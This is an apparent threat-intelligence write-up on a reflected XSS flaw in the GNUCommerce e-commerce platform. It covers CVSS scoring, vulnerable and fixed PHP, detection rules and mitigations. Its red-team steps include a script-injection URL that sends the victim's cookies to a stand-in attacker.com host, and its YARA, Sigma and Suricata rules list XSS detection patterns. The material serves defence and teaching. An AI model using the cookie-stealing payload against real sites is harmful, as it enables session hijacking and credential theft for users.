CVE-2025-26564

Executive Summary

CVE-2025-26564 is a Reflected Cross-Site Scripting (XSS) vulnerability in the GNUCommerce e-commerce platform by Kagla, affecting all versions up to and including 1.5.4. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The CVSS v3.1 base score is 7.1 (High), with a network attack vector, low complexity, and no privileges required, though user interaction is required. No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched instances.

Supply Chain & Package Security

GNUCommerce is a PHP-based e-commerce application. The vulnerability exists in the core application code, not in a third-party package or dependency. However, administrators should verify the integrity of their GNUCommerce installation files and ensure no malicious modifications have been introduced. Since no official patch exists, users must rely on manual mitigation or consider migrating to an alternative platform.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over HTTP.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: High (7.1) – Exploitation requires user interaction but can lead to significant impact.

Deep Dive & Mechanics

The vulnerability is a classic Reflected XSS (CWE-79). GNUCommerce fails to sanitize or encode user-supplied input before including it in the HTTP response. An attacker can craft a malicious URL containing JavaScript payloads in parameters such as search queries, error messages, or form fields. When the victim clicks the link, the payload executes in the context of the victim's browser session with the GNUCommerce application.

Attack Flow:

1. Attacker identifies an input parameter (e.g., q, search, error) that is reflected in the response without sanitization.
2. Attacker crafts a URL like: https://target.com/gnucommerce/index.php?q=<script>alert('XSS')</script>.
3. Victim clicks the link (e.g., via phishing email).
4. The browser renders the page, executing the injected script.
5. The script can steal cookies, redirect to a phishing site, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding or input validation in the application's template rendering logic.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (PHP):

<?php
$search = $_GET['q'];
echo "<p>Search results for: " . $search . "</p>";
?>

Patched Code (PHP):

<?php
$search = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "<p>Search results for: " . $search . "</p>";
?>

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable GNUCommerce instance (version <= 1.5.4).
• A web browser or tool like curl to test.

Step 1: Identify Reflected Parameters Use a web proxy (e.g., Burp Suite) or manual inspection to find parameters reflected in the response. Common candidates: q, search, error, msg.

Step 2: Craft Payload Test with a simple payload:

https://target.com/gnucommerce/index.php?q=<script>alert('XSS')</script>

Step 3: Exploit for Session Hijacking Use a payload to steal cookies:

https://target.com/gnucommerce/index.php?q=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Step 4: Phishing Delivery Send the crafted link to a victim via email or social engineering.

Blue Team

Detection:

• Monitor web server logs for unusual query strings containing <script>, onerror, onload, or encoded variants.
• Deploy a Web Application Firewall (WAF) with rules to block XSS patterns.
• Use browser-based XSS filters (e.g., X-XSS-Protection header).

Mitigation:

• Apply input validation (whitelist allowed characters).
• Use output encoding (htmlspecialchars() in PHP).
• Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup:

• Install GNUCommerce 1.5.4 in a sandboxed environment (e.g., Docker).
• Use a tool like xsser or beef to simulate attacks.
• Monitor with a SIEM or IDS (e.g., Suricata).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing <script> tags in query parameters.
  • Outbound connections to attacker-controlled domains from the victim's browser.
  • Unusual Referer headers from phishing pages.

• Host IOCs:

  • Web server logs showing requests with encoded XSS payloads (e.g., %3Cscript%3E).
  • Presence of unexpected JavaScript files in temporary directories.

• File IOCs:

  • Modified GNUCommerce source files (e.g., index.php, search.php) containing injected code.

Detection Engineering

YARA Rule

rule CVE_2025_26564_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting GNUCommerce CVE-2025-26564"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26564"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against GNUCommerce
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting GNUCommerce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26564 GNUCommerce Reflected XSS Attempt"; flow:to_server; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-26564 GNUCommerce XSS via onerror"; content:"onerror="; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-26564 GNUCommerce XSS via onload"; content:"onload="; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Reflected Parameters: If possible, remove or disable the vulnerable input fields (e.g., search functionality) until a patch is available.
2. Apply WAF Rules: Deploy a Web Application Firewall with rules to block XSS patterns (e.g., ModSecurity CRS).
3. Implement CSP: Add a Content Security Policy header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

4. Enable XSS Protection: Set the X-XSS-Protection: 1; mode=block header (though deprecated, it provides some protection in older browsers).

Long-Term Fix:

• Patch: Await an official patch from Kagla. If none is forthcoming, consider migrating to a supported e-commerce platform.
• Code Audit: Manually review and fix all instances of unsanitized output in the GNUCommerce codebase. Use htmlspecialchars() or a templating engine with auto-escaping.

Workaround:

• Input Validation: Whitelist allowed characters for all user-supplied input (e.g., alphanumeric only for search queries).
• Output Encoding: Ensure all dynamic content is HTML-encoded before rendering.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert